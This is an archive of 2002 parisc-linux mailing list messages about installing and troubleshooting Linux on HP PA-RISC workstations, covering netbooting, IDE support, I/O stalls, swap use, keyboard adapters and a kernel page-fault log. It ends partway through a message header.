	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14801

Mattias Wadenstein wrote:
> Personally, I don't have any experience in doing cd boots though. I have
> only done netboot installs. (Setting up bootp+tftp and give it the
> lifimage in the boot-floppies directory.)

That's what was suggested me privately - burn the boot-floppies lifimage
to CD and do a netinstall. It didn't sound like the debian CD images
had been tested recently.

grant



From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Tue, 21 May 2002 12:05:53 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20020521180553.5470F482A@dsl2.external.hp.com>
References: <Pine.A41.4.44.0205211630470.17882-100000@stalin.acc.umu.se> <maswan@acc.umu.se> <20020521154508.99536482A@dsl2.external.hp.com>  <20020521175328.A2442@humbolt.geo.uu.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621303 7387 80.91.229.3 (22 Nov 2014 01:55:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Armijn Hemel <armijn@nl.linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 21 12:05:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 5470F482A; Tue, 21 May 2002 12:05:53 -0600 (MDT)
In-Reply-To: Message from Armijn Hemel <armijn@nl.linux.org> 
   of "Tue, 21 May 2002 17:53:28 +0200." <20020521175328.A2442@humbolt.geo.uu.nl> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14802

[ back on-list ]

Armijn Hemel wrote:
> Just burn them? How should I boot then? The b2600 doesn't have a floppy
> drive. Don't I need PALO on the CD?

yes. CD or LAN. The lifimage has palo and vmlinux embedded in it,
parisc firmware can boot a lifimage from LAN, tape, CD or HD.
Any IO device the box has IODC for.

"boot floppies" is a gross misnomer for parisc since that's
probably the only media I've never tried to boot from.
I don't know off hand which platforms support booting from floppy.
I would guess 712 and similar vintage supports that if the
lifimage could fit on a 1.44MB floppy.

> Or do you mean I should just put
> the floppy images on a server somewhere and boot those from the network?

booting from a network is an option too.

> I'm quite desperate to be honest (and I think it shows). The machines I
> have have to be returned to HP in .nl soon (they're from the demo pool,
> trying to port yet another distro (ROCK Linux) to HPPA).

cool - keep the p-l mailing list posted on your progress.

grant

> 
> armijn
> 
> -- 
>  ---------------------------------------------------------------------------
>    armijn@nl.linux.org | http://people.nl.linux.org/~armijn/ | Penguin Power
>  ---------------------------------------------------------------------------
>                  http://nl.linux.org/ | Alles over Linux
>  ---------------------------------------------------------------------------



From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "EVERSON,SETH (HP-Loveland,ex1)" <seth_everson2@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sucky I/O IDE Support?
Date: Tue, 21 May 2002 14:08:30 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <F341E03C8ED6D311805E00902761278C0CD12BEF@xfc04.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621303 7389 80.91.229.3 (22 Nov 2014 01:55:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 21 15:11:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245])
	by dsl2.external.hp.com (Postfix) with ESMTP id 215C4482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 May 2002 15:11:43 -0600 (MDT)
Original-Received: from xparelay2.corp.hp.com (xparelay2.corp.hp.com [15.58.137.112])
	by palrel10.hp.com (Postfix) with ESMTP id 0A350C00161
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 May 2002 14:11:42 -0700 (PDT)
Original-Received: from xpabh1.corp.hp.com (xpabh1.corp.hp.com [15.58.136.191])
	by xparelay2.corp.hp.com (Postfix) with ESMTP id 8295498
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 May 2002 14:11:37 -0700 (PDT)
Original-Received: by xpabh1.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <K60KY52R>; Tue, 21 May 2002 14:11:37 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14803

Everyone -

There have been a few iterations of kernel hacking since the release notes
for the .93 release,
and I was wondering if anyone has done any work on getting the IDE support
for Sucky I/O going?

I did see a script in CVS that created the special files for IDE, and it
could actually read
CD's on the IDE CD-ROM in my C3600, but sustained transfers always resulted
in an error.

Thanks!

-Seth



From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stalling system clues + parisc WCHAN hack
Date: Tue, 21 May 2002 18:40:14 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <E17AKAo-00086U-00@paul.bame>
References: <E17AAjL-00079M-00@paul.bame>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621304 7392 80.91.229.3 (22 Nov 2014 01:55:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 21 18:40:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA3CD482A
	for <parisc-linux@parisc-linux.org>; Tue, 21 May 2002 18:40:17 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1b.fc.hp.com [15.15.136.127])
	by atlrel9.hp.com (Postfix) with ESMTP id 508508050A0
	for <parisc-linux@parisc-linux.org>; Tue, 21 May 2002 20:40:17 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP id 1E5A637EC7
	for <parisc-linux@parisc-linux.org>; Tue, 21 May 2002 18:40:15 -0600 (MDT)
Original-Received: from paul.bame (lart.fc.hp.com [15.1.54.48])
	by ldl.fc.hp.com (Postfix) with ESMTP id 112914605
	for <parisc-linux@parisc-linux.org>; Tue, 21 May 2002 18:40:15 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 17AKAo-00086U-00
	for <parisc-linux@parisc-linux.org>; Tue, 21 May 2002 18:40:14 -0600
In-Reply-To: Your message of "Tue, 21 May 2002 08:35:10 MDT."
             <E17AAjL-00079M-00@paul.bame> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14804

False alarm.

I can only reproduce this on a B2000.  C3000 grunted through the
test load and did not get semi-permanently upset like the B2000.  I
tried an A500 with pa8600 cpu (as has B2000) and it was ok.  B180
is fine too.

After a fresh boot, it took 20+ *minutes* to untar a kernel tree,
use dd to make 3 32Mb files, and 'cp -a' the linux tree, with almost
all the time spent in the 'cp -a' (WCHAN 'wait_on_buffer').  All the
I/O is to a 63G ext3 partition on a decent SCSI disk.  dmesg isn't
complaining (e.g., apparently no scsi timeouts).  There are no other
loads on the CPU other than normal idle daemons.  There's plenty of
free memory remaining.  CPU is normally 99% idle according to top.

Gaak

	-P



From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stalling system clues + parisc WCHAN hack
Date: Wed, 22 May 2002 09:28:51 +0000
Lines: 51
Approved: news@gmane.org
Message-ID: <3CEB64D3.8030500@freebel.net>
References: <E17AAjL-00079M-00@paul.bame>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621304 7395 80.91.229.3 (22 Nov 2014 01:55:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 22 03:39:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (spoolm1.tiscalinet.be [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85560482A
	for <parisc-linux@parisc-linux.org>; Wed, 22 May 2002 03:39:09 -0600 (MDT)
Original-Received: from [62.235.110.142] (helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 17ASQJ-0006fv-00; Wed, 22 May 2002 11:28:48 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) Gecko/20020515 Debian/1.0rc2-2
X-Scanner: exiscan *17ASQJ-0006fv-00*po22pgkRvcI* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14805

Hi Paul,

Paul Bame wrote:
...
> 
> Linux b2000 2.4.18-pa25 #22 Fri May 17 11:04:28 MDT 2002 parisc unknown
> 
>   PID CMD              S WCHAN
>     1 ini              S pipe_poll
>     2 [keventd]        S context_thread
...

>  5368 setiathome -nice R wait_on_buffer
>  5381 ps -eo pid,cmd,s R wait_on_buffer
> 
>         total:    used:    free:  shared: buffers:  cached:
> Mem:  525357056 521830400  3526656        0 70672384 356921344
> Swap: 511696896  5632000 506064896
> MemTotal:       513044 kB
> MemFree:          3444 kB
> MemShared:           0 kB
> Buffers:         69016 kB
> Cached:         347420 kB
> SwapCached:       1136 kB
> Active:         112296 kB
> Inactive:       329744 kB
> HighTotal:           0 kB
> HighFree:            0 kB
> LowTotal:       513044 kB
> LowFree:          3444 kB
> SwapTotal:      499704 kB
> SwapFree:       494204 kB

Another question:
Do you feel normal that your system swap (swap used 5632000) with 512Mb 
of physical memoy?
I also observe this with my b2000 with 256Mb (just installed last week); 
I started to recompile the last cvs kernel and at the begining, top 
shows me mem used 22Mb and swap used 0Mb at the end more 100Mb of swap 
was used?

I do not understand very well: gcc did not cleanup correctly its space, 
  is it a kernel problem in managment of swap space or top showing wrong 
values?

Thanks in advance for info,
Joel





From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: s-clarob@st-aidans.cumbria.sch.uk
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PS/2 Keyboard & Mouse on 715
Date: Wed, 22 May 2002 11:43:46 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20020522114212.00ac95c0@10.106.16.2>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed; charset=us-ascii
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621304 7398 80.91.229.3 (22 Nov 2014 01:55:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 22 04:47:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cleo0.lancs.ac.uk (unknown [212.219.207.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C639482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 May 2002 04:47:32 -0600 (MDT)
Original-Received: from name1.st-aidans.cumbria.sch.uk ([212.219.204.44])
 by cleo0.lancs.ac.uk (Sun Internet Mail Server sims.4.0.1999.06.13.00.20)
 with ESMTP id <0GWI004M9DZ38V@cleo0.lancs.ac.uk> for
 parisc-linux@lists.parisc-linux.org; Wed, 22 May 2002 11:47:27 +0100 (BST)
Original-Received: from NETADMIN2.st-aidans.cumbria.sch.uk (s-clarob@[10.106.17.19])
	by name1.st-aidans.cumbria.sch.uk (8.9.3/8.9.3) with ESMTP id LAA08500	for
 <parisc-linux@lists.parisc-linux.org>; Wed, 22 May 2002 11:43:52 -0400
X-Sender: s-clarob@10.106.16.2
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14806

Slightly off topic,

Does anyone know of a pin diagram for converting the keyboard/moues socket 
on a 715 to use PS/2 M&K

Just bought a 715 to upgrade my 712 without realising they needed a special KB.


Thanks

Rob.




From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timothy Ball <timball@tux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] wierd vmstuff in /var/log/debug
Date: Wed, 22 May 2002 10:56:32 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20020522145632.GA10313@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621305 7403 80.91.229.3 (22 Nov 2014 01:55:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:05 +0000 (UTC)
To: parics Linux Mailing List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 22 08:56:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gwyn.tux.org (gwyn.tux.org [207.96.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F8AF482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 May 2002 08:56:51 -0600 (MDT)
Original-Received: (from timball@localhost)
	by gwyn.tux.org (8.9.3/8.9.1) id KAA11416
	for parisc-linux@lists.parisc-linux.org; Wed, 22 May 2002 10:56:32 -0400
Content-Disposition: inline
User-Agent: Mutt/1.5.0i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14807

Going thru my logs like I do once a week I noticed this: 

timball@orwell {42}$ uname -a
Linux orwell 2.4.18-pa9 #1 Tue Mar 26 12:37:53 EST 2002 parisc unknown

--snip--snip--snip--
May 22 06:25:12 orwell kernel: 
May 22 06:25:12 orwell kernel: do_page_fault() pid=15193 command='apache' type=7 address=0x405b6d93
May 22 06:25:12 orwell kernel: vm_start = 0x405b6000, vm_end = 0x405b8000
May 22 06:25:12 orwell kernel: 
May 22 06:25:12 orwell kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
May 22 06:25:12 orwell kernel: PSW: 00000000000001000000000000001111 Not taintedMay 22 06:25:12 orwell kernel: r00-03  00000000 400263e0 405b7893 bff010c0
May 22 06:25:12 orwell kernel: r04-07  405c7ed4 bff01198 000eac00 000000a8
May 22 06:25:12 orwell kernel: r08-11  00000010 bff01154 00000002 00000022
May 22 06:25:12 orwell kernel: r12-15  bff01198 ffffff78 40026604 00061f18
May 22 06:25:12 orwell kernel: r16-19  00068f18 00068f18 00068f18 405c7ed4
May 22 06:25:12 orwell kernel: r20-23  00000001 405c7ed4 405b7878 400263f4
May 22 06:25:12 orwell kernel: r24-27  40026604 405b7878 000eac00 00061f18
May 22 06:25:12 orwell kernel: r28-31  40022bc6 000003b5 bff01240 4000d2bb
May 22 06:25:12 orwell kernel: sr0-3   00000047 00000047 00000000 00000047
May 22 06:25:12 orwell kernel: sr4-7   00000047 00000047 00000047 00000047
May 22 06:25:12 orwell kernel: 
May 22 06:25:12 orwell kernel: IASQ: 00000047 00000047 IAOQ: 405b6d93 405b6d97
May 22 06:25:12 orwell kernel:  IIR: 08000240    ISR: 00000047  IOR: 40501230
May 22 06:25:12 orwell kernel:  CPU:        0   CR30: 12514000 CR31: 10370000
May 22 06:25:12 orwell kernel:  ORIG_R28: 00000000
--snip--snip--snip--

I can't even tell if this is an error or not.
I'm guessing I should upgrade (it's been a few weeks now).
But everything else seems to be working just fine. 

--timball

-- 
	GPG key available on pgpkeys.mit.edu
pub  1024D/511FBD54 2001-07-23 Timothy Lu Hu Ball <timball@tux.org>
Key fingerprint = B579 29B0 F6C8 C7AA 3840  E053 FE02 BB97 511F BD54



From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sucky I/O IDE Support?
Date: Wed, 22 May 2002 12:15:38 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20020522181538.CBEA3482B@dsl2.external.hp.com>
References: <F341E03C8ED6D311805E00902761278C0CD12BEF@xfc04.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621305 7405 80.91.229.3 (22 Nov 2014 01:55:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "EVERSON,SETH (HP-Loveland,ex1)" <seth_everson2@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 22 12:15:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id CBEA3482B; Wed, 22 May 2002 12:15:38 -0600 (MDT)
In-Reply-To: Message from "EVERSON,SETH (HP-Loveland,ex1)" <seth_everson2@hp.com> 
   of "Tue, 21 May 2002 14:08:30 PDT." <F341E03C8ED6D311805E00902761278C0CD12BEF@xfc04.fc.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14808

"EVERSON,SETH (HP-Loveland,ex1)" wrote:
> There have been a few iterations of kernel hacking since the release notes
> for the .93 release,
> and I was wondering if anyone has done any work on getting the IDE support
> for Sucky I/O going?

yes. thomas bogendoerfer got the CD support working and I don't think
anyone else has done more.

> I did see a script in CVS that created the special files for IDE, and it
> could actually read CD's on the IDE CD-ROM in my C3600, but sustained
> transfers always resulted in an error.

Well, post the kernel output (and other related data, ie kernel version
and CD-ROM type) and see if there are any takers.

grant



From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PS/2 Keyboard & Mouse on 715
Date: Wed, 22 May 2002 12:51:32 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20020522185132.7DB0F482D@dsl2.external.hp.com>
References: <5.1.0.14.0.20020522114212.00ac95c0@10.106.16.2>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621305 7412 80.91.229.3 (22 Nov 2014 01:55:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: s-clarob@st-aidans.cumbria.sch.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 22 12:51:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7DB0F482D; Wed, 22 May 2002 12:51:32 -0600 (MDT)
In-Reply-To: Message from s-clarob@st-aidans.cumbria.sch.uk 
   of "Wed, 22 May 2002 11:43:46 BST." <5.1.0.14.0.20020522114212.00ac95c0@10.106.16.2> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14809

s-clarob@st-aidans.cumbria.sch.uk wrote:
> Just bought a 715 to upgrade my 712 without realising they needed a
> special KB.

715's need an adapter/dongle that should have come with the system.
The dongle exports one HIL and 2 PS/2 ports.

grant



From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Anderson <andersop@bob.ncssm.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PS/2 Keyboard & Mouse on 715
Date: Wed, 22 May 2002 16:27:13 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205221625560.15389-100000@bob.ncssm.edu>
References: <20020522185132.7DB0F482D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621306 7417 80.91.229.3 (22 Nov 2014 01:55:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 22 14:22:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bob.ncssm.edu (bob.ncssm.edu [152.34.37.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67C8E482A
